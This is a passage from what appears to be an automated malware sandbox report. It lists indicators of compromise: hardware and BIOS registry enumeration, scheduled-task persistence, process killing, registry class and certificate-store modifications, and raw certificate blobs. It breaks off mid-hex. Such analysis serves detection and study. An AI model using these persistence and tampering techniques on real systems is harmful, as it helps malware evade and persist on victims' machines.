Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier cmd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Impedire.exe.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe -
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3864 schtasks.exe 4168 schtasks.exe 4244 schtasks.exe 4012 schtasks.exe 5672 schtasks.exe 1576 schtasks.exe -
Enumerates system info in registry 2 TTPs 64 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS sihost64.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS gZ9~4qZ~O.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Impedire.exe.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU gZ9~4qZ~O.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU cmd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Impedire.exe.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS cmd.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU sihost64.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Kills process with taskkill 5 IoCs
pid Process 5496 taskkill.exe 5220 taskkill.exe 6372 taskkill.exe 3848 taskkill.exe 7356 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates DrvInst.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\7\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs mask_svc.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates mask_svc.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust mask_svc.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\7 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe -
Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\ Process not Found Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-257790753-2419383948-818201544-1000\{F7FFB10F-F00F-4DD1-A324-0130D8502660} Cleaner.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE49FBDF-9D0C-4705-9235-FD3A1AF3C76A} 5F2D.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\ fV4tbDseb1ySEIJGTqg4jBHb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\ fV4tbDseb1ySEIJGTqg4jBHb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE49FBDF-9D0C-4705-9235-FD3A1AF3C76A}\ProxyStubClsid32 5F2D.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE49FBDF-9D0C-4705-9235-FD3A1AF3C76A}\ProxyStubClsid32\ = "{94512587-22D8-4197-B757-6BA2F3DE6DEC}" 5F2D.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ fV4tbDseb1ySEIJGTqg4jBHb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface 5F2D.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node 5F2D.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ fV4tbDseb1ySEIJGTqg4jBHb.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c000000010000000400000000080000190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517